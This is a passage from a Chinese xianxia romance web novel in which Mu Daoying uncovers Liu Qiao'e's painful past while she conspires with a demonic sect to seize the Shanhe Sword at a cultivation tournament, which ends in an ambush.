慕道瑛觉得自己此刻便像是一条渴水的鱼,他原本的生活也是很安逸的,优哉游哉畅游在水底,可却在今天骤然被丢上岸,被现实砸了个晕头转向,被刮去了鱼鳞,全身上下,每一寸皮肤都在疼。 他仍努力地想要从回忆中找出点蹊跷。 惜,一无所获。 他完全不记得刘巧娥。 他完全不记得他曾经见过她。 更不记得那一碗水,此时被老丈这么一说,才似乎又从记忆中勾勒出点淡淡的影儿,庄周的蝶一般,并不确定。 比起真的想起,似乎是他听了这老丈的话,自己做梦也般的幻想出来的。幻想出昔年那个黑黝黝,灰扑扑的刘巧娥。 也是,他曾经除过多少妖,踏过多少村落,见过多少凡女,又怎会留意到其中一个小小的,其貌不扬的刘巧娥? 那便听罢,多听一点也是好的。 他是渴水的鱼,渴求着她的一切,哪怕一星半点。 老丈眯着眼,神色也慢慢地变了,“后来,后来山里又来了新的妖怪,好像是跟之前那只认识,来报仇的。” 慕道瑛怔住,跟着重复:“别的妖怪?” “整个村子都被毁了。”老丈叹息,“死了很多人,刘福生那家都死尽了,只剩下那闺女一个了。” 他口舌仿佛都僵住了。 修士接到师门任务,外出斩妖伏魔,事毕回山,自然不可能再关切那个村子后续的发展。若再闹了妖孽,再派别的接了“行道卷”的队伍去便是了。 若当真如此……慕道瑛手猛地一颤,岂非也算他们处事不慎,害得他们整个村子?! “她当时眼睛都发直了,别人问她她也不讲话,有人拿手戳了她一下,她一下子就倒了过去。” 老头还记得那天,她哇哇大哭,哭得撕心裂肺,哭厥了过去,醒来又继续抽抽地哭。 嘴里还喊胡话,要爹娘要兄弟姐妹。 她家里头的人就是这世上顶好的,她再也不眼巴着羡慕别人家了。 都是她的错,她是畜生,她不是人。 “又有仙长过来斩妖除魔。” “嘿,说来也是她的造化呢。那仙长看到她,竟说她有仙骨!后来,她就跟那仙长走了,再没回来。走的时候还那么点高呢。” 慕道瑛再也听不下去了。 老丈道:“又过了那么几十年吧,突然有人说奉了什么什么老母之命,过来帮咱们修缮村子,兴修水利。好像便是那刘家闺女,她出息了,你看看屋外头那田,那水,都是她的手笔呢。” “就不知为何,人没回来过。这位仙长。”老丈这才想起问他的来由,好奇地看他,“你问她做什么呢?” 他记得这小仙长啊,不愧是神仙,眉眼长开了,但容貌没一点变化。 “她……”慕道瑛怔了怔,对上那老丈纳罕的视线,动了动干涩的唇瓣。 他问她到底是做什么?他又有何资格去探寻她的过往。听闻她这些过往,他心如刀割。他想象那个曾无数次趴在窗下偷看他的少女,于心痛之中生出无限的柔情爱意来。 她自然算不得他的妻子。可他既为她男君,自然当得一声夫婿的。 慕道瑛缓缓合了眼,涩声说: 不知是在跟老丈对话,还是跟过去那个少女对话。 “那刘家的闺女后来与我相识。” “我如今,也算她夫婿。” “夫婿?”那老丈目瞪口呆,摔了手里的旱烟。 告别了那两眼发直的老寿星,慕道瑛离开了小茅岭,去了云山。 第45t?章 第 45 章 趁着这次春台问道,统统…… “宁瑕!你知道无垢老母对你——她可能喜欢你!” “道长应当去一次, 散散心也好。” “或许,是因为我们云山宋氏都欠她的罢。” 出了小茅岭,慕道瑛步履匆匆。 赵言歌, 程洵,宋妙菱, 三种声音不断在耳畔交织,宛如一把尖刀刺入他的头颅,搅得他痛不欲生, 不敢停顿, 也不敢歇息。 他一路上也没敢歇息,花了两天时间赶到了云山,递上拜帖。 宋妙菱亲自出来见了他。 青年风尘仆仆, 神情憔悴, 似乎几夜未曾合眼,颌下也生出了点淡青色的胡茬。 一见她, 便一揖到底, 深深地拜了下去,“宋长老,小子想询问一段旧事,无垢老母跟贵派之间, 到底有过什么因缘瓜葛。” 宋妙菱神色有点复杂:“我没想, 你竟真的会找来。” 她吩咐人倒了两杯热茶,命他坐下。 透过她的眼神目光慕道瑛已有预感, 接下来宋妙菱所言, 或许比小茅岭的见闻更为残酷。 …… 走出云山时,日头还高高地挂在天空。 慕道瑛却恍若隔世一般,他全身出了很多汗, 浸湿了宽大的道袍。, 太阳仿佛成了天边一粒小小的黑子,他眼前一阵阵发黑,明明日头正烈,却仿佛日月也无光,浑身只感到一阵接一阵的冷意。 好在,他的脚步还尚算稳当的,他找了根竹杖,慢慢地,走下了山。 走得很慢,很稳。 因为他此刻眼前仍是晕眩的,他必须要努力地睁大眼,才能保证自己不足以一脚踩空,滚到山底去。 他婉拒了云山留饭,自顾自来到山下。 重重青山宛如一座巨大的牢笼。他迷失山下,心中空茫,一时间竟有些不知该何去何从。 面馆的招幌撞入眼中,他此时需要做些什么,不拘什么事,稀里糊涂,晕头转向便进了店,要了一碗素面。 才提起筷子咬了一口,便忍不住地想吐。 胃里绞痛,心口像是有火在烧。慕道瑛搁下筷子,手微微颤抖。 一滴水忽然落进碗底,他伸手拂了一下,才发现鬓角湿润,那是他的眼泪。 大茅刘村第二次闹了妖孽的时候,正巧前任云山宋氏的家主宋迁曾途径此地。 他顺手灭了那妖魔,带回来一个炉鼎。 宋迁不止有刘巧娥这一个炉鼎,他生得俊美,秉性风流,坐拥娇妻美妾无数。 后来,有一日,不知怎么死了,似乎是被刘巧娥杀的。 再然后,等刘巧娥出现在人前时,便已摇身一变成了无垢老母。 这便是宋妙菱仅知的了。 毕竟岁月已久,她不可能对前任家主的后宫艳事有多少了解。 可这并不妨碍慕道瑛猜测想象她一个孤苦无依的女孩子,到底吃了多少苦。 她先委身宋迁,又委身当时年岁已高的老宫主。 在这漫长的痛苦而耻辱的岁月里,她只能反复咀嚼回味当初那个如冰似雪的少年,那是不凋的花,不落的雪。 或许跟宋迁走的那一天,她以为便要迎来理想之中的光明,长生了。 慕道瑛对她几成了一种执念,一种象征。 他是悬挂在天上的,洁净,明亮又冰凉的月。 这让她在成为宫主之后,打听到了他的一切,笨拙地学习他的吃穿用度,衣食住行。 她学他喝阳羡雪芽,熏白檀香,练他的字。 她曾经向学,念书的愿望一直深埋在心底,便依样画葫芦学着搬空了他整间书房。 如此一来,这一切便都有了解释。 为何她对他如此反复无常,爱恨交织。 为何两人之间仿佛有累世的夙孽。 原来,在他不知道的角落里,她早已情根深种,深深爱他这漫长岁月。 …… 慕道瑛没有再动那一碗面,他深吸了一口气,收敛了涌动的情绪,没让眼里的泪再落下来。 他留下一锭银子,慢慢走出了客栈。 ……这还不是全部的真相。 从小茅岭,到云山,再到合欢宫。 这中间有一块空白。 她是如何杀的宋迁,杀了宋迁之后又去了哪里,是如何从宋迁的炉鼎成为合欢宫的掌教。 他必须要查清楚这块空白- 山月初升,明光照林。 此时已经平静下来的慕道瑛,正缓缓步行在山林间,一边走,一边思忖自己接下来的动向。 两个月后,便是新一届的春台问道。 这一盛会的举办地点,便设立在游剑阁。 慕道瑛知晓刘巧娥一定会去。 她杀灵元,夺得返魂灯,便是为了跟仙盟交换一个名正言顺,带领合欢宫参加春台问道的机会。 而为了查明这段真相,他已下定了决心,他必须在这有限的时间里,修补好自己破碎的根基,重新站到春台问道的擂台之上。 只难免又想到灵元。 师父。 想起灵元,慕道瑛心肺又泛起细细密密的痛楚,神色黯淡了几分。 师父,恕徒儿不孝。冤有头债有主。若当真是清虚害您,您的仇徒儿会给您报。 只是,刘巧娥。 他似乎……难有勇气再对她拔剑了。 想到这里,慕道瑛脚步一顿,忽觉天色已晚,不知不觉间,原来日已落,月已升。 他怔怔地看着天边树顶那轮明月。从老丈的口中,刘巧娥视他如月,可如今在他眼里,她又岂不算明月呢? 娥,原本就是明月的。 他闭上眼,心里又泛起深深浅浅的难过。 她是沦落了污泥的明月。 师父是他的仇,刘巧娥是他的债。 仇既然要报,债也不得不还。 他恨自己不能在她最绝望,孤苦,任人欺凌之际,出现在她面前。 恨自己不能亲眼见到那瘦瘦小小的小姑娘,亲口告诉她,她日后会变成最了不起的大人物,而他不过是她一介裙下之臣,渴慕一点她的余晖。 他恨自己不能紧紧抱紧她,深深吻她,抚过她的伤疤,一遍遍对她诉说自己的爱意。 慕道瑛微微阖眸,再睁眼时,双眼已澄澈平宁,如月下滚滚大江,温和坚定了许多。 他不再作伤春悲秋的他想,衣带当风,大跨步地踏出了这一片小林子里,一路往西而去。 宿雾山地处北方,游剑阁则在西蜀,修士若要往返两地,往往会选择乘坐飞舟。 船票通常在四百灵石左右浮动。 被刘巧娥赶走之后,慕道瑛如今身无分文,为凑齐船票钱,他花了两天时间接了几个除妖的任务,至于路上其他开销,他素来简朴,倒也是能省则省,无谓风餐露宿。 路上又花两天。 等到达游剑阁下属的寻仙镇之后,慕道瑛这才拿出全部的余财,长租了间客栈,闭门不出,开始了漫长的日夜打坐修炼。 两个月的时间太短,并不足以修复他破碎的根基。 慕道瑛不得不另采取一种极端的办法。 玉清观弟子,擅丹、阵,他虽主剑,于阵法一途也颇有些钻研。 他买来朱砂丹墨,将自己闭锁在客栈房间内,花了整整十天时间,才画下了一套繁琐禁忌的大阵。 此阵名为“铸剑”。 这一套大阵其特殊之处在于,它几乎是为天生剑骨者量身定制。 大阵吸纳四方灵气。阵成之时,它会变成一尊“鼎”,灵气变成燃烧的柴薪。 而置身于阵眼中心的施阵者则会变成被这尊大鼎“熔炼”的“剑”,被灵气不断攻伐,体内剑骨也将被鼎火一遍遍地淬炼,直至成就“以骨为剑,以身为鞘”,将自己也修炼成一柄剑的境界。 铸剑的过程,漫长而凶险。 入阵者,首先会感觉身体里的骨头仿佛被火烧化。 随着时间的推移,又仿佛被放入了一个模子里不断挤压,这时,入阵者会感到骨骼、五脏被碾碎挤压成泥的痛苦。 最后,灵气再一点点,如小刀刮骨一般缓缓打磨,砥砺这件业已成型的坯件,直到人剑终于铸成。 整个过程之中,入阵者要忍受常人难以想象的痛苦,更不能中断。心神也务必要坚定,一旦中断,或心神动摇,往往会受到灵气反噬,落得个阵毁人亡的下场。 因此,这阵法虽然带来的回报极高,但古往今来,敢于尝试者甚少。 毕竟天生剑骨者,早就是上天的宠儿。修炼时,事半功倍,胜过旁人不知凡几,不必铸剑,一路也能顺风顺水,又何必自讨苦吃? 就算有那意志坚定,野心勃勃之辈想要尝试,也通常会有数位大能高德在身边护持,以备不测。 而这些条件,慕道瑛都没有,他甚至没有足够的灵气来运转大阵,为此,他只能想办法在大阵之中又套嵌了个小阵,以自身寿数为代价向上天借了一笔灵气,名曰“借t?灵抵命”。 一切准备工作完成,他心中默想刘巧娥之眉眼,过往,容色平静地缓缓迈入阵眼,预备忍受着接下来灵气淬炼剑骨时的痛不欲生- 另一厢。 回到合欢宫之后的刘巧娥,也没有多少伤春悲秋的空闲。 不过略歇了歇脚,处理了这些天宫中积压的,陈玉柔也不太拿的定主意的公务之后,她便亲上了一趟仙盟玉京。 拜会了如今的仙盟盟主秦仙都。 从玉京回返的路上,刘巧娥借宿在附近村店的这一晚,再一次遇到不速之客的拦路。 山野村店,鸡鸣残月,烛火摇动。 瞧见这翻窗而来的黑衣男子。 刘巧娥终于忍无可忍问道:“大名鼎鼎的恶业宗掌教,行事如此见不得光,魔域之人知道吗?” 罗那吉倒是一声朗笑,显得尤为混不吝,“我倒听说,踹寡妇门、刨绝户坟,在民间是一等一的缺德事。 “我们魔域名声本就不好,本座是恶业宗掌教,怎么也能算是一等一的大恶人,做些一等一的缺德事,有何不可?亦或者,你不算他留下的小寡妇?” 刘巧娥忍了忍,没忍住翻了好大一个白眼。 罗那吉见她无语,竟“噗嗤”笑出了声。 笑完了,这才优哉游哉给自己倒了杯茶,啜了一口,“你这次上玉京,秦仙都可觉察出异样?” 刘巧娥:“拿到返魂灯后我便及时掉了包,秦仙都并未有所觉察。” 罗那吉颔首:“不枉我召魔域最顶尖的工匠日夜赶制了整三年。” “两个月之后便是春台问道,”罗那吉指腹轻轻摩挲茶杯,凤眼轻眯,“你,可想好了?” 刘巧娥面无表情:“我知道。” 罗那吉看着她。 刘巧娥冷冷回望,不避不退,眼神清锐如刀。 他凤眸幽深如渊。 少顷,罗那吉唇角绽放出抹灿烂笑意,“这样最好。” 刘巧娥皱了皱眉。 罗那吉这人,疑心病太重。 她一点也不怀疑,她若表露出异心,他嘴上亲亲热热喊她娥娘,转头背地里就对她下死手捅她心窝子这件事。 “届时清虚会配合你。”罗那吉搁下茶杯,轻描淡写地抛出这一足够震动修真界的大消息。 刘巧娥:“老头子遇上你也算倒霉。” 罗那吉不置可否,轻轻挑眉:“天数流转,魔门将兴。便连三大家之首的掌教也信了谶言,未雨绸缪,及早投了魔域。” “不过,想两头下注,哼,哪有那么容易的事。” 这便是认了宿雾山那事有他的手笔了。 刘巧娥眉头皱得更紧。 宿雾城的事是个局,这是她一早进城之前便知晓的。 清虚投靠了魔门,她也是一早既知。甚至于,她私下里还跟这老头儿还见过好几次面。 打从一开始,她便假意投靠正道,想办法引导正道让自己参与这次追查活动。 过程中,设法取得返魂灯加以掉包,再配合清虚跟仙盟双方的意愿,诛杀了灵元。 灵元是必须要死的,从他当初撞破了清虚跟魔门勾结的那天,结局便已经注定了的。 他身为玉清观护教长老多年,不知道掌握了多少仙盟腌臜秘辛,背地里投靠魔门的大能修士可远不止清虚这一个。他这一走,可想而知,有多少人就要寝食难安,盼他早死。 他叛门之前究竟跟慕道瑛说了什么,不得而知。不过自那之后,清虚便彻底将这师徒二人视作眼中钉肉中刺。为此,他特地找到罗那吉,请魔域派出人手,借刀杀人,诛他心腹大患。 食骨宗的杀手便是为此而来。 如果说先前这一切还尚在计划之中的话。那么这几个杀手身上搜出来的迷药便有些值得玩味了。 迷药今被查出跟玉清观有关,矛头直指清虚。 刘巧娥不得不怀疑这是罗那吉给清虚设下的一个套。灵元一跑,清虚他自己乱了阵脚,把头颈就先往他套子里钻,倒省得罗那吉他再动手。 这下这老头儿惹了一身的腥臊,再想两头下注也难了,只得跟罗那吉和魔域死死绑定在了一起。 自始至终,宿雾城一役,刘巧娥都是知一半,猜一半。 今日见到罗那吉之后,才终于拼凑出了事情的真相。 这让她阴沉了脸色,虽早知晓罗那吉行事风格便是如此,但被蒙在鼓里的感觉还是让她觉得十二分的不爽。 罗那吉似乎也自知这事做得不地道,竟大发慈悲地安慰了她两句。 “娥娘,莫要气。”他唇角噙笑,缓缓把玩手中茶盏,“我这也是为你好。” “清虚这老头儿太狡猾,若不牢牢套住他,届时春台问道,他又怎肯冒着身败名裂的风险帮你?” 他语重心长说:“如今,你返魂灯在手,两个月后,那老头儿又会帮你夺下山河剑。 “到那时候,两宝尽在你手掌心,放眼整个修真界,整个魔域,又有谁是你的对手? 恐怕,还得秦仙都亲至才能拿得下你罢!” “你不是想报仇吗?” 将最后一口清茶饮尽,罗那吉悠然一笑,将掌心茶盏轻轻磕回桌面。清润的嗓音慢悠悠地回荡在粗陋的村店客房内:“去吧。” 风从窗外吹来,吹动烛火摇曳,鬼影森森。 男人的嗓音轻柔暧昧。 恍若魔鬼蛊惑人灵魂时的低语。 “将昔日那些,欺你,辱你,眼高于顶,目无下尘之辈,趁着这次春台问道,统统杀个一干二净。” 第46章 第 46 章 难不成他心底还下意识为…… 杀。 杀。 杀。 青山犹如被一柄劈开的巨剑, 巍然耸峙于天地之间!参差碧峰更如飞龙怪兽的角爪! 茫茫青霭更如这天地怨气凝结而成的煞气毒雾! 穿梭在青雾绿剑间的白鹤,似乎也受这通天彻地的杀气所惊,发出震悚不安的惊鸣。 声声鹤唳入耳, 几成一个个杀字! “老母。”直到程洵温和的嗓音在耳畔响起,刘巧娥眼睫一颤, 猛然回神。 透过眼前大敞的这两扇轩窗,放眼一看。 见青山迢迢,云山明灭, 浩气奔流, 飞阁连危,白鹤展翅翱翔于天际,好一派仙家洞府的缥缈雄伟之奇景, 哪里还有半分诡谲恐怖的杀气? “西蜀游剑阁, 景色之奇峻秀险,果真名不虚传。”扶着窗棂, 刘巧娥淡淡开口。 “游剑阁的景色素来便是西蜀一绝, ”程洵叹了口气,看着她瘦弱身躯,也几成一把剑,一把亟待出鞘, 日夜惊魂不定的剑。 他眼里不自觉便多了几分怜惜, 劝慰说,“老母这些时日实在太过操劳, 既然到此, 不若趁此机会好好散散心。” 散心?刘巧娥默默咀嚼这两个字,她哪里有什么心思散心?自从上了罗那吉的贼船,她便只能这一条路走到底, 走到黑。 只是程洵毕竟是为她好,她不忍拂去他的好意,略略一颔首,“我知道。” 三天前,春台问道在即,刘巧娥带着程洵,乘坐合欢宫的飞舟驾临西蜀游剑。 见过如今的游剑阁掌门人詹真人之后,她便被安排在了这座“凌云峰”上暂住。 身为一宫掌教,游剑阁给她安排的住处自然是风景绝胜之处, “凌云峰”名字寓意好,位置也好,地势高耸险绝,推窗步庭,即可登高望远,一览众山之小,将游剑阁奇景尽数收于眼底。 三十年。 短短三十年。 刘巧娥犹记得自己第一次登上游剑阁时。 那时候她还是合欢宫前任老宫主手下的一个默默无闻的,卑贱的女侍。 身如浮萍,命如草芥。 像她这样的弟子,就算死一百个,一千个,也不会有任何人在意。 她当初之所以能杀得了宋迁,也是因为她曾跟老宫主达成了一笔交易。 他跟宋迁素有仇怨。 而那时候,她因其桀骜叛逆的性子,可笑至极的极阴的绝品炉鼎的天赋体质,竟也入了宋迁的眼,成了他贴身伺候的侍女之一。 在跟老宫主的里应外合之下,她杀了宋迁,她清楚地记得,那天,她爬上他的床,先亲他的嘴唇,故意卖弄风骚,在他欢愉至极,意识不清之际杀了他。 从他体内流出了很多血,鲜血一直蔓延到了她的脚尖。 她赤身裸1体,缓缓走出了内室,迎面抬眼见到了那位老宫主。 他白发如雪,须长三尺。 对于修士而言,他甚至都已经不算年轻。但胜在眉眼俊雅,面如冠玉,也颇有些神采飞扬的清逸。 他上前握住她的手,让她不必害怕,从此之后,她便是合欢宫弟子,她自由了。 她这才发现她的手在颤抖,赤裸着的脚趾间沾满了黏腻的血渍。 她跟着老宫主回到了合欢宫。却是从一个地狱坠入t?另一个地狱。 老宫主没有骗她,某种程度上,她的确自由了,她不必被日夜关锁在宋迁的后院里。 可合欢宫中内这一切腌臜污秽也令她痛苦不堪! 老宫主同样也看重了她的炉鼎天赋。他明显要比宋迁高明许多,他不逼迫她,只等她主动自荐枕席。 在获得自由之后的相当长一段时间里,她都失去了活着的目标与动力。 直到那一日,她忽然从几个合欢宗弟子口中听到了“慕宁瑕”三个字。 她一下子变活了过来! 他还在!她仍可去见他! 她打探到了他的名姓,才知晓宁瑕是她的字,字是什么? 他其实叫慕道瑛。 她如饥似渴地拼了命地打探着慕道瑛的消息,搜集关于他的一切。 后来,她打探到春台问道在即。 那是仙家盛会。 那一天,她再也无法容忍合欢宫的日子。 她揣着仅有的那几个灵石,一路走,千辛万苦,走得鞋子都磨破了,这才走到了游剑阁。 这时,又一声鹤唳穿透云霄,惊醒了刘巧娥的思绪。 她回过神,心里倏地生出无限的感慨。 原本,她是没多少心思游览这游剑风格的。可回忆历历在目,倒勾起她品尝这权力果实的滋味。 富贵不归故乡,如衣绣夜行,谁知之者! 她朝程洵点点头,命令说,“陪我出去走走。” 程洵落后几步,跟随在侧。 从凌云峰往下,是一道长长的云梯。 刘巧娥一边走,一边想。 后来,她终于走到了游剑阁,她用最后一点灵石,在山下客栈租了个小房间,洗了个热水澡,好好打理了自己一番。 踏上那漫长的山道时,她的心情仍是雀跃激荡的。仿佛即将迎来光明一般。 她迫不及待地想要跟他们诉说自己的向善之心,她要改投名门正道。 春台问道,是修真界难得的盛典。为防有阴谋叵测者作乱,同时也是为了维持大会的秩序治安。 通往道场的十八条山道之上,共设有五十四个门洞,每个门洞都由各派弟子坐镇,负责查验往来修士。 她终于见到了他。 他正坐在“摇光”门前,身前摆了张桌子,同左右道友说些什么,乌发垂腰,容色平静,肌白若雪,其姿容峙玉,神秀焕彩,恍若神仙。 他的嗓音不高也不低,意态不卑不亢。 松风吹动他腰间环佩,响起一串如春冰乍碎般好听的玉鸣。 …… 下到一半的云阶,刘巧娥忽然止住脚步,看到云阶尽头那远方三棵松树下一道邈然若仙的缥色身影。 一阵风吹来,吹动他大袖翩翩, 他眉睫低垂,仍是如数年之前那般,同身边几个游剑阁弟子低语着什么。 不同的是,如今的青年多了几分温柔寂寞,是个柔淡的黯然的影子。 倏地,他似乎觉察到了她的视线,抬起了脸。 刘巧娥心里一个咯噔。 慕道瑛!他竟也来到游剑阁了吗? 她下意识地想避开他清平的视线。但这念头仅仅一晃而过,很快,她便面无表情地回望了过去,裙角如花瓣般簇拥着她展开。 她以为她会看到他或厌恶,或痛恨,或漠然的视线。 毕竟,她当着他的面,亲手杀了他最敬爱的师父。 他的眼里果然闪过一点怔愣,紧接着便变为了,痛楚,挣扎。 最终,他竟提起唇角,轻轻地朝她扯出个苍白的,黯淡的微笑。 他不太会笑,刘巧娥只觉得他这笑比哭还难看。 她冷冷地转过身。 程洵不解:“老母?” 刘巧娥:“不去了,累了,没心情。”- 慕道瑛也没想到,阔别两个月之后,他竟如此猝不及防同刘巧娥,在凌云峰前相遇。 春台问道开始之后,他便托曾经相熟的游剑阁弟子要了个名额。 这日,路过凌云峰,遇上那弟子,他过去道谢,几个人正说着话。 他心头微有所感,一抬眼,便看到刘巧娥从那似乎延伸入天的百丈云梯上走了下来。 杀师之痛,毕竟难以消解。 看到刘巧娥的第一眼,他着实不知要以一个什么样的姿态来面对她。 又想起小茅岭见闻,更有些情怯。 他一愣之下,久久无言,直到身边弟子的嗓音唤回了他的思绪。 “慕师兄?”那弟子不明所以。 慕道瑛轻轻摇了摇头,“抱歉,我方才有些走神……” 那弟子不疑有他。 但见他容色,是不是好像比之前又苍白了一点 ? 慕道瑛的遭遇,他多多少少也曾有所耳闻的。 见昔日意气风发的玉剑丹心,今成落魄嶙峋模样,心怀不忍,不禁问:“师兄既来到游剑,怎不去找沈师姐?” 这弟子想得很简单,慕道瑛虽然被逐出了玉清,是无门无派之人,可他还有沈澄因,赵言歌那么多门中俊杰好友呐。 在家靠父母,出门靠朋友嘛。瘦死的骆驼比马大。慕师兄虽然瞧着病弱,但看他周身气机深远玄妙,灵气濛濛如雾,中有星光流动,显然又有了进阶。想要回到从前的风光还不是易如反掌? 又何必将自己弄得这般闷闷不乐,郁郁寡欢的落魄模样? 说者无意,听者有心,这话可落在慕道瑛心里,却微一惊。 他并非那等顽固不化,冥顽不灵之辈,从前下山善心大发被人骗光钱财的时候,不是没有狼狈地去寻求过其他几个宗门相熟的弟子相助。 可这次不知为何,这一次,他几乎想都没想过去寻沈澄因之事。 耳畔似乎响起女人骄矜的嗓音。 “我不喜欢你和别的女人走得太近”。 慕道瑛默然良久。 既已被人弃之如敝履,沦为下堂弃妇,难不成他心底还下意识为她恪节守道不成? 告别了那弟子之后,慕道瑛微微蹙眉,仍心事重重,愁肠百转,抑郁孤怀。 猝不及防见她时,那隐秘的细微的怨怼。 知她过往的心痛,不忍。 以及……再见她时,仍怦然的心跳。 慕道瑛缓缓合上眼,无数种复杂的感情在心中反复激荡,撕扯,几乎将他扯成碎片。 他凭借一腔意气,想要查清楚那块空白 可真正见到她,才意识到自己想得太轻易了。 他方才,甚至连主动上前问好的勇气也没有。 此事又毕竟过去太久,他纵有心,也不知从何打探。 难不成叫他直接去问她? 只怕被打出来都算轻的。 或者说,其实还有个法子。 正如他不愿寻求沈澄因的帮助一样,慕道瑛其实并不太愿意去找那位二老爷。 时移世易,心境不同,再面对程洵时,他的想法便全不同了。 可他不能不去,目下,他想要更进一步了解刘巧娥,就必须从程洵处入手。 他问心有愧- 春台问道盛会开幕那日, 正是刘巧娥下榻凌云峰的第五天。 这五日里,她带来的这一批合欢宫弟子—— 或者说,假扮成合欢宫弟子的魔门精英。 也不知罗那吉用了什么手段,竟避开了那五十四重门洞的检查。 这一批弟子,合欢宫与魔门间杂,但都是个中精锐,死士。 他们趁着这五日功夫已大致摸清楚了游剑阁之护卫阵法。 三大家之一的防卫布置,自然没有那么容易破解,不过是防患于未然,尽量提高成功率罢了。 他们此行目的只是“山河剑”。 今日是春台问道的第一日。 刘巧娥又一次站到轩窗前,沉冷缄默地眺望着远处最高的那一座山峰。 这是本届春台问道的道场,一座高逾百尺的朱红色楼阁,拔地而起,四角铃铎响彻云霄。 到了春台问道决胜那日,楼阁顶端会用丝绸系一支牡丹。 谁能第一个取下这枝牡丹,谁便是这一届春台问道的魁首。 刘巧娥对本届的获胜人选并不感兴趣,因为她早已见过最好的。 任谁也没有那慕道瑛那样惊艳的风姿。 少年只穿一件泛白的缥色道袍,是那种雨过天晴的极为疏阔澄朗的青,他翩翩而落,却颇道家真气象,当真如神仙降世。 皙白的指尖捻一朵牡丹, 那牡丹被他护得好好的,花瓣的露珠甚至也未被云气吹散。 凡修真界的少年英才,无不都有些恃才傲物,概因他们本来便有狂傲的资本。 后来,她也曾见过其他魁首,无不有些飘飘然,刻意卖弄起风流。 见过几次之后,她始终记得慕道瑛那干干净净,平平静静的神态。 那样冲淡朴素,一点也不矜傲。是“已识乾坤大,犹怜草木青”,是真正细微处见波澜,平淡中见绝世风华。 这数日里,刘巧娥鲜少在人前现身。偶尔出现,也都略看了几眼,便转身回了凌云峰。 便t?是慕道瑛有心去找程洵,怎奈何程洵日日夜夜寸步不离守在她身侧,他实毫无办法,束手无措。 赵言歌倒也来了游剑阁,跟沈澄因来找了他一次。 不过短短两个月的功夫,他好似迅速落魄了下来,颔下长出了胡须,神情也有些恍惚。 见到慕道瑛,瞧见他虽身处落魄,却芳净洁白的楚楚风致,周身气度冲淡平和,伤似乎也养好了,身边浓郁的灵气气机如雾一般脉脉流淌。 他给他倒杯茶,让他慢慢说。两人倒像是颠倒了过来一般。 赵言歌松了口气。 他就知道,慕道瑛是那种即使身处逆境,也能将自己拾掇得干净秀气,谦谦体面的人。 “宁瑕,你是对的,我们都错了。”他端起茶,牛饮而尽,苦笑道,“我错了!错大了!” 慕道瑛问:“是那大梦丹么?” 赵言歌倒吸了口凉气,吃惊于他泰然自若的容色。 “你……唉!”他重重叹了口气。 那迷药连同返魂灯被一同送上了玉京,虽然仙盟那边没什么动静。 “但这几日,总有仙盟的弟子往来玉清观。匆匆来,匆匆走,这是全了玉清的面子,并未声张罢了!” 赵言歌苦笑:“仙盟已经起疑了,早晚便会查到玉清头上。到时候,咱们掌门,咱们玉清……谁能想到咱们玉清当真跟魔门勾结!” 慕道瑛又续了杯茶给他,“当务之急,是先寻个能挑得起大梁,担得起事的长老前辈,否则东窗事发,门中大家只怕难做,在仙盟恐再无立足之地。” 事到如今,他能以更平静,更从容的态度。 他同样理解赵言歌的无奈痛苦。 玉清毕竟曾是他们的家,纵使知道掌门的腌臜不堪,又如何忍心揭露,见自家沦为众矢之的? 可良心又令他难以坐视不管,袖手旁观。 便日夜陷入这煎熬之中,宛如惊弓之鸟。 这毕竟还要自己想通, 慕道瑛略安慰了他几句,问他清虚这些时日可有异样。 赵言歌闷闷不乐:“我哪儿看得出来!表面上,没什么问题,这不还来看春台问道了?” 此次春台问道,修真界有头有脸的掌教大能共来了四位。 东道主游剑阁掌门詹真人。 玉清观掌门清虚真人。 云山宋氏如今的当家宋华容。 太和宗掌门蓝淑英闭关已有十数年,未曾在人前现身。 还有她刘巧娥。 比试进行到最后一日,四位掌门齐聚一堂。 东华界以境界之高下论高低。 便是今日之观战,也颇为讲究。 那隐于云层最高处,隐约可见其法相,俯瞰道场中心的,自然便是四位掌教真人。 慕道瑛仰望云层,也想找到云雾之外那道梦中的身影。 但只看一眼,便如一万尊大钟在耳畔交鸣,震得他胸中血气翻涌,如压千钧之力,喉口泛出腥甜。 慕道瑛不动声色将喉口的鲜血咽了。 这便是七境修士全开的威压,如天威一般不可窥测。 他心底升起一股少年不服输的意气来,心中也暗下决心,必当奋起直追,早晚有一日能与她并立云头。 但现在,他仅仅只能同赵言歌等人各立在一朵稍矮的云朵之上。 他们身边,便是世家大族的飞舟连阁,这些庞然大物漂浮在云端,遮蔽了绝大部分的天空。 不少锦衣公子小姐,正忙着呼奴唤婢,推杯换盏,美食珍馐如流水般供应,好令这些公子哥儿们观战的时候也能吃喝解闷。 他虽托关系拿到了名帖,但因是上一届魁首,无法,也没有必要参与这一届的选拔。 倒是频频有人以好奇、怜悯、幸灾乐祸的目光看来,慕道瑛俱都云淡风轻,视之如江畔清风,山间明月。 道场四面环绕之钟鼓,交相齐鸣。 虹彩漫天,落英缤纷。 春台问道大比的最后一日开始了。 由专人祭过上天之后,在场众人精神一振,因为,待会儿即将迎来这场典礼最重要的一项。 “请剑”- 轰隆隆! 伴随一阵仿若盘古开天辟地时的巨响响彻整个山谷!大地开始震动,远处群山也如浪涌。 就连慕道瑛脚下的云头也受到地动的影响,感到细微的震颤。 他凝眸望去,只见远处一座青山竟缓缓从中间分裂成两半,一柄横贯天地的巨剑自山腹中悬空而出! 山河剑被请出! 其剑身镌刻千里山川,日月星辰。剑意朦胧成白色雾气,间或有星光不断流动翻涌。 作为当初圣君留下的三样遗物之一,山河剑素来由游剑阁把持看守,非春台问道此等修真界共举的盛会,鲜少显露于人前。 即便如此,山河剑的剑身也被绑缚了特制的锁链,以免戾气伤人。 在众人注目之下,铁链绞动。 山河剑也缓缓漂浮到了道场中央,众人头顶。 铁链横空,横锁一柄惊世巨剑。 煌赫剑影,铺天盖地罩下! 正当众人纷纷惊叹此剑之风采时。 云层之巅,玉清观清虚掌门骤然发难,反掌为攻,向游剑阁詹真人攻去! 就在清虚动的同一时间,刘巧娥也动了,她纵身一掠,长袖被风吹动鼓起,足尖一点,便已稳稳落在那漫天铁索之间! 那詹真人原本正捻须微笑,欣慰于今日本门盛典,猝不及防间被清虚一掌击中心口! 因未曾设防,清虚这一掌又几乎用尽了他十成十的功力,只求一击毙命。 詹真人被这一掌打得登时五脏破裂,口吐鲜血,好在他功力深厚,又及时调动真气护住了心脉,这才不至当场毙命。 只不过仍是去了半天性命,跌下云头来。 这一切发生得实在太快,众人还没来得及意识到发生了什么,便见一道黑色的人影从云层跌落。 惊起一片呼喝! 游剑阁弟子很快意识到那道身影似乎是自家掌门。 